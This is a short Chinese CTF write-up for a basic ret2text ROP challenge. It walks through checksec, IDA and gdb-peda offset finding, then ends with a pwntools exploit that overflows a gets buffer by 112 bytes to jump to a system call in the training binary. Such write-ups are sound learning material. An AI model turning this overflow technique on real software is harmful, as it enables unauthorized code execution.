pwn——basic rop
(ret2text):
老规矩,先checksec一下:
发现开启了NX,堆栈不可执行
放入ida中:
发现存在get函数,可溢出:
查看其他函数,发现在secure中存在完整控制台:
很容易找到system地址:
下面在gdb里面动态调试找到偏移量:
在这里提一下,peda里面的pattern create number命令可以整出一堆完全固定混乱的数字,在输入时,将这些复制进去
程序异常,可以在最后一行看到异常地址,通过指令pattern offset 0x41384141查找异常处的偏移量
这里是十进制偏移量112
下面是exp,很简单:
from pwn import *
sh=process('./ret2text')
sys_addr=0x804863A
payload='a'*112+p32(sys_addr)
sh.sendline(payload)
sh.interactive()